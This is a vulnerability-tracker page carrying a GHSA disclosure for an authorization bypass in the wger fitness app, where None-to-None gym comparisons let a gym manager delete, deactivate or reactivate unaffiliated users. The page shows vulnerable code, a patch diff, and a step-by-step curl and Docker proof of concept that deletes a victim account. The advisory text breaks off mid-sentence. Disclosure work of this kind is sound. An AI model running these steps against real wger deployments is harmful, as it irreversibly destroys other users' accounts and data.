GHSA-mw8f-w6p8-xrf4: wger: cross-tenant account deletion / deactivation / activation by gym.manage_gym + gym=None
Оценка Noroxi
Приоритет: Наблюдать (оценка срочности 34/100)
- В отслеживаемых источниках (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) нет публичного эксплойта или записей об эксплуатации.
- Может быть вызвана любым, у кого есть доступ через интернет. Достаточно учётной записи с низкими привилегиями. Действия пользователя не требуются. Требуются особые условия, например определённое время или конфигурация.
- Согласно записи, исправленной версии пока нет.
Пока низкий приоритет. Обновитесь, когда выйдет исправление; следите за бюллетенем производителя.
Формируется автоматически по данным записи: CVSS (NVD и CNA), CISA KEV и SSVC, FIRST EPSS, источники эксплойтов, исправленные версии. Как мы считаем
Первоисточники: OSV
## Summary GHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's `reset_user_password` and `gym_permissions_user_edit` views in `wger/gym/views/user.py` performed a gym-scope authorization check using Django ORM object comparison (`if request.user.userprofile.gym != user.userprofile.gym`) which silently passes when both sides are `None` (`None != None` evaluates to `False`). The maintainer's suggested patch ("Apply the same `same_gym()` helper pattern to all five views sharing this check") replaces every `userprofile.gym !=` site with the new `is_same_gym()` helper that explicitly excludes `None` (`gym_a is not None and gym_a == gym_b`). The fix landed in `wger/gym/views/{admin_notes,document,contract,gym}.py` (5 views, all using `is_same_gym`). However, **three additional views in `wger/core/views/user.py` were not migrated** and retain the original `userprofile.gym_id != ...` raw integer comparison. Because raw integer `!=` comparison still evaluates `None != None` as `False`, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest `wger/server:latest` Docker image (master, 2026-05-08 build). A privileged-but-bounded gym staff user (admin-granted `gym.manage_gym` permission, intended scope: managing members of one specific gym) whose `userprofile.gym = None` (the default state before the admin links them to a gym) can: 1. **Permanently delete any other user with `gym = None`** (V3, `delete` view, line 131 — CRITICAL data loss, irreversible) 2. **Deactivate any other user with `gym = None`**, locking them out of the platform (V1, `UserDeactivateView`, line 405 — high availability impact) 3. **Re-activate any previously deactivated user with `gym = None`** (V2, `UserActivateView`, line 442 — counters defensive deactivation) Victim user pks are sequential integers and trivially enumerable via `/en/user/<pk>/overview` and other endpoints. The `same_gym_id == ...` flag in `UserDetailView.get_context_data` (line 587) is also affected, but the underlying `dispatch()` and the actual `trainer_login` view still use the patched `is_same_gym()` helper, so impersonation chain via that path is blocked at runtime — only the UI button visibility leaks. The three write-side variants above are the security boundary breaches. ## Affected versions - All wger versions through master at `wger/server:latest` (digest `sha256:5d8fe1ba66cc...`, image build 2026-05-08). - The advisory's `affected: <0.9.7 → fixed: 0.9.7` range applies to the **PyPI `aegra-api` package** (different project; the advisory text references a Python-package version unrelated to the wger Django project's version scheme — wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits to `wger/gym/views/{admin_notes,document,contract,gym}.py`; `wger/core/views/user.py` was not touched in the same patch. (Maintainer can confirm version range; the live verification was performed against the latest published Docker image.) ## Vulnerable code ### V1 — `UserDeactivateView` (`wger/core/views/user.py`, line 405) ```python class UserDeactivateView(...): permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer') def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) if not request.user.is_authenticated: return HttpResponseForbidden() if ( request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: None != None == False return HttpResponseForbidden() return super(UserDeactivateView, self).dispatch(request, *args, **kwargs) def get_redirect_url(self, pk): edit_user = get_object_or_404(User, pk=pk) edit_user.is_active = False # ← side effect on plain GET edit_user.save() ... ``` ### V2 — `UserActivateView` (`wger/core/views/user.py`, line 442) ```python class UserActivateView(...): permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer') def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) ... if ( request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: # ← BUG: same pattern return HttpResponseForbidden() return super(UserActivateView, self).dispatch(request, *args, **kwargs) def get_redirect_url(self, pk): edit_user = get_object_or_404(User, pk=pk) edit_user.is_active = True # ← side effect on plain GET edit_user.save() ... ``` ### V3 — `delete` (`wger/core/views/user.py`, line 116-159) ```python @login_required() def delete(request, user_pk=None): ... if user_pk: user = get_object_or_404(User, pk=user_pk) if not request.user.has_perm('gym.manage_gyms') and ( not request.user.has_perm('gym.manage_gym') or request.user.userprofile.gym_id != user.userprofile.gym_id # ← BUG (line 131) or user.has_perm('gym.manage_gym') or user.has_perm('gym.gym_trainer') or user.has_perm('gym.manage_gyms') ): return HttpResponseForbidden() ... if request.method == 'POST': form = PasswordConfirmationForm(data=request.POST, user=request.user) if form.is_valid(): user.delete() # ← victim account permanently deleted (line 145) ... gym_pk = request.user.userprofile.gym_id # = None for trainer1 return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': gym_pk})) # ↑ raises NoReverseMatch (gym_pk=None) → 500 to attacker # but user.delete() already executed — victim is gone ``` **Triager note about the 500 status — please do not interpret the 500 as evidence that the exploit failed.** The 500 is a redirect-side `NoReverseMatch` exception caused by `reverse('gym:gym:user-list', kwargs={'pk': None})` (line 154-155) attempting to build a URL with `pk=None` because trainer1 also has `gym=None`. By that point Django has already committed `user.delete()` (line 145) and the victim's User row is gone. The Reproduction section's Step 3 ("confirm alice was actually deleted") shows the post-delete DB state directly: `alice exists? False`, `all users: ['admin', 'trainer1']`. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure. ## Suggested patch Same as the advisory's recommendation — replace every `userprofile.gym_id != ...` raw comparison with `is_same_gym()` from `wger/gym/helpers.py`: ```diff --- a/wger/core/views/user.py +++ b/wger/core/views/user.py @login_required() def delete(request, user_pk=None): ... - if not request.user.has_perm('gym.manage_gyms') and ( - not request.user.has_perm('gym.manage_gym') - or request.user.userprofile.gym_id != user.userprofile.gym_id - or user.has_perm('gym.manage_gym') - or user.has_perm('gym.gym_trainer') - or user.has_perm('gym.manage_gyms') - ): + if not request.user.has_perm('gym.manage_gyms') and ( + not request.user.has_perm('gym.manage_gym') + or not is_same_gym(request.user, user) + or user.has_perm('gym.manage_gym') + or user.has_perm('gym.gym_trainer') + or user.has_perm('gym.manage_gyms') + ): return HttpResponseForbidden() class UserDeactivateView(...): def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) ... - if ( - request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') - ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: + if ( + request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') + ) and not is_same_gym(request.user, edit_user): return HttpResponseForbidden() class UserActivateView(...): def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) ... - if ( - request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') - ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: + if ( + request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') + ) and not is_same_gym(request.user, edit_user): return HttpResponseForbidden() ``` `is_same_gym()` (current implementation at `wger/gym/helpers.py`) already returns `False` whenever either side is `None`, matching the advisory's existing fix pattern. Additionally, `delete()` line 154-155 should handle the `gym_pk = None` case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (`gym.manage_gyms`) acting on `gym=None` users. ## Reproduction ### Setup (clean baseline) ```bash # Pull and start the latest production image docker pull wger/server:latest # digest sha256:5d8fe1ba66cc..., 2026-05-08 build docker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest # Wait ~30s for migrations and demo-data fixture load. # Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm). docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User, Permission # Attacker — gym manager with no gym affiliation t = User.objects.create_user(username='trainer1', password='TrainerPass123!') t.userprofile.gym = None t.userprofile.save() t.user_permissions.add(Permission.objects.get(codename='manage_gym')) t.save() # Victim — regular user, no gym a = User.objects.create_user(username='alice', password='AlicePass123!') a.userprofile.gym = None a.userprofile.save() print("trainer1.gym_id =", t.userprofile.gym_id, "has_perm =", t.has_perm('gym.manage_gym')) print("alice.gym_id =", a.userprofile.gym_id, "pk =", a.pk) PY # Expected: # trainer1.gym_id = None has_perm = True # alice.gym_id = None pk = 3 ``` ### Variant V1 — cross-tenant deactivation (`UserDeactivateView`, line 405) ```bash # Login as attacker COOKIES=/tmp/wger_trainer1.txt CSRF=$(curl -s -c $COOKIES "http://localhost:8888/en/user/login" | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3) curl -s -b $COOKIES -c $COOKIES "http://localhost:8888/en/user/login" \ -d "username=trainer1&password=TrainerPass123!&csrfmiddlewaretoken=$CSRF" \ -H "Referer: http://localhost:8888/en/user/login" -o /dev/null # Trigger deactivation on alice (pk=3) curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \ "http://localhost:8888/en/user/3/deactivate" # → status=302 loc=/en/user/3/overview (expected: 403 Forbidden) # Confirm DB side effect docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User print("alice.is_active =", User.objects.get(username='alice').is_active) PY # → alice.is_active = False (alice locked out) ``` ### Variant V2 — cross-tenant re-activation (`UserActivateView`, line 442) ```bash # Same trainer1 session curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \ "http://localhost:8888/en/user/3/activate" # → status=302 loc=/en/user/3/overview docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User print("alice.is_active =", User.objects.get(username='alice').is_active) PY # → alice.is_active = True (alice re-activated; useful to "undo" defensive action by an admin) ``` ### Variant V3 — cross-tenant account deletion (`delete`, line 131) ```bash # Step 1: GET the password-confirmation form CSRF2=$(curl -s -b $COOKIES "http://localhost:8888/en/user/3/delete" \ | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3) echo "form CSRF: $CSRF2" # → 200 OK with PasswordConfirmationForm (expected: 403 Forbidden) # Step 2: POST trainer1's own password — confirms the delete curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \ "http://localhost:8888/en/user/3/delete" \ -d "password=TrainerPass123!&csrfmiddlewaretoken=$CSRF2" \ -H "Referer: http://localhost:8888/en/user/3/delete" # → status=500 (the 500 is a redirect-side error, see "Vulnerable code" → V3 above) # Step 3: confirm alice was actually deleted docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User print("alice exists?", User.objects.filter(username='alice').exists()) print("all users:", list(User.objects.values_list('username', flat=True))) PY # → alice exists? False # → all users: ['admin', 'trainer1'] ``` The 500 status returned to the attacker masks the destructive operation but does not prevent it — `user.delete()` (line 145) commits before the failing redirect (line 155). ### Negative control (proves the bypass is `None`-specific, matching the advisory) ```bash # Reset alice and assign her to gym pk=1 (one of the demo gyms). docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY' from django.contrib.auth.models import User from wger.gym.models import Gym a = User.objects.create_user(username='alice', password='AlicePass123!') a.userprofile.gym = Gym.objects.first() # not None any more a.userprofile.save() print("alice.gym_id =", a.userprofile.gym_id) PY # Same trainer1 (gym=None) attempts deactivation curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \ "http://localhost:8888/en/user/<new_alice_pk>/deactivate" # → status=403 (guard works correctly when gym_ids differ AND neither side is None; # bypass is specifically the None != None edge case) ``` ## Verification log The full verification log of V1 → V2 → V3 (including DB-state diff at every step) is attached as `_verify_run1.log`. Key assertions captured: | Step | Endpoint | HTTP | DB side effect (alice) | |---|---|---|---| | Baseline | (none) | — | `is_active=True, gym_id=None, pk=3` | | V1 | `GET /en/user/3/deactivate` | 302 | `is_active=False, gym_id=None, pk=3` | | V2 | `GET /en/user/3/activate` | 302 | `is_active=True, gym_id=None, pk=3` | | V3 GET | `GET /en/user/3/delete` | 200 (form rendered) | (no change) | | V3 POST | `POST /en/user/3/delete` w/ trainer1 password | 500 (post-delete redirect) | **alice row deleted from DB** | ## Impact ### Per-variant impact | Variant | Endpoint | HTTP method | Side-effect | Reversible | CVSS (component) | Severity | |---|---|---|---|---|---|---| | V3 | `/en/user/<pk>/delete` | POST (after GET form) | `User.delete()` cascades (workouts, weight history, nutrition plans, contracts, admin notes) — DB row + related rows removed | **No** (DB backup required) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` | 9.9 CRITICAL | | V1 | `/en/user/<pk>/deactivate` | GET | `is_active = False` (login lockout) | Yes (admin or V2) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H` | 7.4 HIGH | | V2 | `/en/user/<pk>/activate` | GET | `is_active = True` (undoes defensive deactivation) | Yes (admin) | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N` | 4.7 MEDIUM | The headline severity at the top of this report is **CRITICAL 9.9** because V3's account-deletion impact dominates the variant family. V1 and V2 are reported here together with V3 because each was independently PoC-verified end-to-end against `wger/server:latest` (see Reproduction → V1, V2, V3 — three separate live runs with DB-state checks before/after) and the three call sites have an identical patch shape (one-line `is_same_gym()` migration in `wger/core/views/user.py`). Submitting V1+V2 separately would carry no marginal value for the maintainer over a single coordinated patch. ### Deployment scope (what is and is not affected) | Deployment model | Affected? | |---|---| | **Multi-tenant gym deployment** (gym manager + trainers + members) — `wger`'s documented commercial use case | **Yes** — `gym.manage_gym` permission is in active use and `gym=None` accounts can co-exist (trainer accounts pending gym linking, regular users registered before any gym was created, etc.) | | **Single-user / personal fitness tracker** (1 admin, no `gym.manage_gym` grant to anyone, no trainer/gym hierarchy in use) | **No** — the precondition (an attacker with `gym.manage_gym` + `gym=None`) cannot occur because the permission is not granted to any user account on such a deployment. | | Public registration + gym-management feature in use | **Yes** — additional victim recruitment via the registration flow, but the attacker-side precondition still requires admin-granted `gym.manage_gym` | `bb-fp-detector check-environment-class` returned `UNKNOWN` for this draft because no live customer-facing instance was probed; the impact statement is scoped to the upstream `wger/server:latest` Docker image's default behaviour, which is the project's own canonical reference deployment. ## Auth model verification (decisive tests) ### Authorization architecture (`bb-auth-doc-audit` equivalent) wger is a self-contained Django web application that uses `django.contrib.auth` for authentication and Django's per-view permission classes (`PermissionRequiredMixin`, `WgerMultiplePermissionRequiredMixin`, `@login_required()`) for authorization. Authentication and authorization are both **enforced inside the wger application** (auth-by-product); wger documentation does not delegate either concern to a reverse proxy or external IdP. There is no "operators must place an auth-enforcing reverse proxy in front of wger" disclaimer in the project's deployment docs (`https://wger.readthedocs.io/en/latest/production/`). The bug therefore directly violates the application's own documented authorization model. ### Decisive bogus-credential / negative-control test (`bb-bogus-cred-test` equivalent) — actually executed This test was run end-to-end on the same `wger/server:latest` Docker instance immediately after the positive-control runs (V1+V2+V3 above). Full log: `_negative_control.log`. **Setup**: assign alice to the demo gym (`Default gym`, pk=1), trainer1 stays at `gym=None` with `gym.manage_gym`. Same trainer1 session as the positive-control run. **Result**: | Endpoint | trainer1 attacker (gym=None) → alice (gym_id=1) | Expected | Observed | |---|---|---|---| | `GET /en/user/4/deactivate` | guard should fire (None != 1 == True → forbidden) | 403 | **403 ✓** | | `GET /en/user/4/activate` | guard should fire (None != 1 == True → forbidden) | 403 | **403 ✓** | | `GET /en/user/4/delete` | guard should fire (None != 1 == True → forbidden) | 403 | **403 ✓** | **DB state after the three negative-control attempts**: `alice.is_active = True`, `alice` still exists — no side-effects. The guard is functional. **Symmetric re-confirmation (positive control after revert)**: alice.gym was reset to `None` in the same session; `GET /en/user/4/deactivate` returned **302** with side-effect `alice.is_active = False` (re-confirming the original bypass triggers reproducibly), then `GET /en/user/4/activate` returned **302** with `alice.is_active = True` for cleanup. This proves: 1. The `dispatch()` and `delete()` guards **do enforce gym-scope authorization** when `gym_id` is non-`None` on either side — the guard is structurally functional. 2. The bypass is specifically the
- Опубликовано
- 20 мая 2026 г.
- Обновлено
- 20 мая 2026 г.
- EPSS
- —
- CWE
- CWE-862
Инструменты для отчёта
Оценка срочности
34
Пока низкий приоритет.
- CVSS
- 34 / 40 · 8.5 / 10
- CISA KEV
- 0 / 30 · Нет в списке
- EPSS
- 0 / 30 · —
Узнайте, когда запись изменится
- Нет в KEV: эксплуатация в реальных атаках не зафиксирована
- Публичного эксплойта нет
- Исправленной версии пока нет
Если что-то из этого изменится, сообщим в ежедневной сводке.
Затронута ли ваша версия? ПроверьтеАнализ Noroxi
Что это значит для вашей инфраструктуры?
Оценка выше формируется автоматически по данным записи и не знает вашей среды. Наша команда проверит на ваших системах, действительно ли уязвимость эксплуатируема и какой меры достаточно.
Мы используем этот продукт, нужна помощьЗатронутые системы
Затронута ли ваша версия?
Выберите продукт и введите свою версию. Она сравнивается с диапазонами этой записи прямо в браузере и никуда не отправляется.
| Вендор | Продукт | CPE |
|---|---|---|
| PyPI | wger | pkg:pypi/wger |
Затронутые пакеты
Данные OSV и GitHub Advisory: экосистема, пакет и диапазон. Сопоставление SBOM использует эту таблицу.
| Экосистема | Пакет | Затронутый диапазон | Исправление |
|---|---|---|---|
| PyPI | wger | до 2.5 включительно | — |
Исправление
На какую версию обновиться
Версии с исправлением по данным вендора, реестров пакетов и Microsoft. Перед обновлением сверьтесь с бюллетенем вендора.
Для этой записи не зафиксирована версия с исправлением. Смотрите бюллетени вендора в источниках.
Статус эксплойта
Публичный эксплойт неизвестен
Публичный эксплойт пока не обнаружен. Это не значит, что вы в безопасности, лишь что порог чуть выше.
Контекст для исследователя
Для пентестеров и исследователей: профиль атаки, расхождение оценок, хронология, коммиты исправлений, авторы, кандидаты в варианты и цепочки, охват bug bounty. Всё выводится из имеющихся данных; без кода эксплойтов.
Хронология
От публикации до сегодня: proof of concept, модуль Metasploit, CISA KEV и запись об исправлении. Даты — как сообщают источники.
Кроме публикации датированных событий нет.
В записи нет: истории EPSS · ссылки на коммит или PR с исправлением · указания авторов находки · кандидатов в варианты и цепочки · публичной программы вознаграждений.
Технические детали
Условия атаки
- Может быть вызвана любым, у кого есть доступ через интернет.
- Достаточно учётной записи с низкими привилегиями.
- Действия пользователя не требуются.
- Требуются особые условия, например определённое время или конфигурация.
В случае успеха
- Конфиденциальность
- высокое · данные могут быть прочитаны
- Целостность
- высокое · данные или конфигурация могут быть изменены
- Доступность
- высокое · работа сервиса может быть нарушена
Влияние может выйти за пределы уязвимого компонента (область действия меняется).
- Вектор атаки
- Сеть
- Сложность атаки
- Высокая
- Требуемые привилегии
- Низкие
- Взаимодействие с пользователем
- Не требуется
- Область действия
- Изменяется
- Влияние на конфиденциальность
- Высокое
- Влияние на целостность
- Высокое
- Влияние на доступность
- Высокое
Класс уязвимости (CWE)
CWE-862 · Missing AuthorizationВектор CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
osv
Контекст атаки
Шаблоны атак MITRE CAPEC и техники ATT&CK для этого класса уязвимости (CWE). Отправная точка для правил обнаружения и threat hunting.
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Источники
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Рекомендации вендоров и официальные записи. Ссылки на эксплойты/PoC намеренно исключены.